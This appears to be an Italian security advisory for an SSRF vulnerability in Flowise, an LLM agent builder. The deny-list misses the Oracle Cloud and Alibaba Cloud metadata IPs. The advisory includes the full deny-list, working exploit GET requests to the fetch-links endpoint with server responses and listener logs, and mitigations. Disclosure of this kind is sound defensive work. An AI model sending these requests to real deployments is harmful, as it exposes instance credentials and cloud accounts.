CVE-2026-67620 — SSRF in Flowise tramite deny-list incompleta dei metadati cloud (Oracle OCI + Alibaba Cloud)

Prodotto: FlowiseAI/Flowise — builder visuale per LLM / agenti AI (~54k ★) Versioni interessate: ≤ 3.1.4 — confermata ancora vulnerabile nella 3.1.4, l'ultima release (riverificato il 2026-08-06) Vulnerabilità: Server-Side Request Forgery tramite una deny-list incompleta CWE: CWE-918 (SSRF) · CWE-184 (Lista incompleta di input non consentiti) Gravità: Media — CVSS 3.1 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) Scoperta: 2026-07-10 · Segnalata a VulnCheck (CVD): 2026-07-15 Ricercatore: Bobur Abdugafforov (Mahadsec)

Stato del fornitore — non verrà rilasciata alcuna patch. Il progetto Flowise è stato ufficialmente dismesso e non accetta più segnalazioni di vulnerabilità di sicurezza. Questo advisory è pubblicato affinché gli operatori che eseguono ancora Flowise possano mitigare il problema autonomamente.

Riepilogo

Flowise include una protezione SSRF che blocca le richieste ai servizi di metadati delle istanze cloud. La deny-list copre l'intervallo link-local 169.254.0.0/16 utilizzato da AWS, GCP, Azure e DigitalOcean — ma omette due indirizzi di metadati che non rientrano in tale intervallo:

Cloud	IP dei metadati	Presente nella deny-list?
AWS / GCP / Azure / DigitalOcean	`169.254.169.254`	✅ bloccato
Oracle Cloud (OCI)	`192.0.0.192`	❌ non bloccato
Alibaba Cloud	`100.100.100.200`	❌ non bloccato

Ancora presente nella 3.1.4 (ultima release) — verificato il 2026-08-06

La DEFAULT_DENY_LIST completa inclusa nell'immagine Docker ufficiale flowiseai/flowise:3.1.4 (.../flowise-components/dist/src/httpSecurity.js) è:

'0.0.0.0', '10.0.0.0/8', '127.0.0.0/8', '169.254.0.0/16', '169.254.169.253',
'169.254.169.254', '172.16.0.0/12', '192.168.0.0/16', '224.0.0.0/4', '240.0.0.0/4',
'255.255.255.255/32', '::1', 'fc00::/7', 'fd00:ec2::254', 'fe80::/10', 'ff00::/8',
'localhost', 'ip6-localhost'

18 voci. Né 192.0.0.192 né 100.100.100.200 compaiono, e nessuno dei due rientra in un CIDR elencato — si noti che 192.168.0.0/16 non copre 192.0.0.192, e non esiste alcuna voce 100.64.0.0/10 (CGNAT).

La lista è identica byte per byte tra la 3.1.2 e la 3.1.4. L'unica modifica a httpSecurity.ts in queste release è la normalizzazione degli IPv6 mappati su IPv4 all'interno di isDeniedIP(), che non può influire su due indirizzi IPv4 semplici.

Nessuno degli indirizzi omessi rientra in un CIDR privato o link-local convenzionale: 192.0.0.192 si trova all'interno del blocco IETF Protocol Assignments 192.0.0.0/24 e sembra globalmente instradabile, mentre 100.100.100.200 si trova nell'intervallo CGNAT 100.64.0.0/10, che la deny-list non copre neppure. Una protezione costruita enumerando "l'IP dei metadata" e l'intervallo link-local, quindi, li manca entrambi.

Un utente autenticato può forzare il server Flowise a emettere richieste GET arbitrarie verso questi indirizzi. Su un deployment OCI o Alibaba Cloud questo raggiunge il servizio metadata dell'istanza, che fornisce l'identità dell'istanza e il materiale delle credenziali.

Codice interessato

packages/components/src/httpSecurity.ts — DEFAULT_DENY_LIST (compilato: httpSecurity.js:31-50)

La lista contiene 169.254.169.254 e l'intervallo 169.254.0.0/16, ma non contiene 192.0.0.192, 100.100.100.200, né l'intervallo CGNAT 100.64.0.0/10.

Flusso della richiesta: GET /api/v1/fetch-links → checkDenyList(url) → secureFetch() tramite webCrawl. secureFetch rivalida correttamente le destinazioni dei redirect, quindi i bypass basati sui redirect sono gestiti — il difetto è nel contenuto della lista, il che significa che un redirect verso uno degli IP omessi supera la validazione esattamente come una richiesta diretta.

La route fetch-links non ha il middleware checkPermission, quindi qualsiasi sessione autenticata la raggiunge indipendentemente dal ruolo.

Endpoint interessato

GET /api/v1/fetch-links?url=<target>&relativeLinksMethod=webCrawl&limit=1

Ogni nodo che effettua il routing tramite secureFetch / secureAxiosRequest con un URL fornito dall'utente è interessato dalla stessa deny-list — ad esempio i nodi web-scraper e HTTP-request.

Nota sulla raggiungibilità: il problema è inoltre raggiungibile senza autenticazione tramite l'endpoint pubblico POST /api/v1/prediction/:id ogni volta che è presente un nodo che recupera URL in un chatflow reso pubblico.

Riproduzione

Confermato dinamicamente su un'istanza Flowise 3.1.2 locale attiva, con listener associati a 192.0.0.192:80 e 100.100.100.200:80.

Controllo — l'IP dei metadati AWS/GCP/Azure è correttamente bloccato:

GET /api/v1/fetch-links?url=http://169.254.169.254/latest/meta-data/&relativeLinksMethod=webCrawl&limit=1

HTTP/1.1 500
isDeniedIP: Error: Access to this host is denied by policy.

Bypass 1 — Metadati di Oracle Cloud:

GET /api/v1/fetch-links?url=http://192.0.0.192/opc/v1/instance/&relativeLinksMethod=webCrawl&limit=1

HTTP/1.1 200
{"status":"OK","links":["http://192.0.0.192/opc/v1/instance"]}

Bypass 2 — Metadati di Alibaba Cloud:

GET /api/v1/fetch-links?url=http://100.100.100.200/&relativeLinksMethod=webCrawl&limit=1

HTTP/1.1 200

Richieste lato server osservate sui listener (a dimostrazione che il fetch ha avuto origine dal server Flowise, non dal client):

# OCI listener
192.0.0.192 - - [11/Jul/2026 04:34:35] "GET /opc/v1/instance/ HTTP/1.1" 404 -
192.0.0.192 - - [11/Jul/2026 04:34:54] "GET /opc/v1/instance HTTP/1.1" 404 -

# Alibaba listener
100.100.100.200 - - [11/Jul/2026 04:34:35] "GET / HTTP/1.1" 200 -
100.100.100.200 - - [11/Jul/2026 04:34:54] "GET / HTTP/1.1" 200 -

Uno script PoC è incluso come poc.py.

Impatto

Qualsiasi utente Flowise autenticato — e, dove un nodo di recupero URL risiede in un chatflow pubblico, qualsiasi visitatore non autenticato — può far sì che il server emetta richieste GET verso i servizi di metadati delle istanze di Oracle Cloud e Alibaba Cloud, cosa che il prodotto tenta esplicitamente di prevenire per altri provider.

Su un deployment interessato ciò espone i dati di identità dell'istanza e gli endpoint di metadati che servono le credenziali del ruolo dell'istanza, da cui consegue un ulteriore accesso all'account cloud della vittima. Più in generale, la stessa lacuna consente richieste verso l'intervallo CGNAT 100.64.0.0/10, che è instradabile all'interno di molte reti dei provider.

La gravità riflette il fatto che lo sfruttamento richiede che l'istanza Flowise sia ospitata su OCI o Alibaba Cloud. Il difetto in sé — una deny-list incompleta — è indipendente dal provider.

Mitigazione

Non verrà rilasciata alcuna patch del fornitore; il progetto è in dismissione. Gli operatori dovrebbero:

Passare da una deny-list a una allow-list. Consentire solo gli host esterni specifici di cui un deployment ha bisogno. Questo è l'unico approccio che non viene aggirato dal prossimo indirizzo di metadati specifico del provider.
Bloccare gli intervalli omessi a livello di rete — regole di egress che negano 192.0.0.0/24 e 100.64.0.0/10 dall'host Flowise — poiché l'applicazione non può essere corretta.
Verificare i chatflow pubblici per i nodi di recupero URL (web-scraper, richiesta HTTP), che espongono questa vulnerabilità senza autenticazione.
Applicare IMDSv2 (o l'equivalente del provider che richiede un token ottenuto tramite PUT) in modo che un semplice GET SSRF non possa recuperare le credenziali.
Migrare da Flowise, dato che non riceve più manutenzione di sicurezza.

Più Popolari

CVE-2026-67620-poc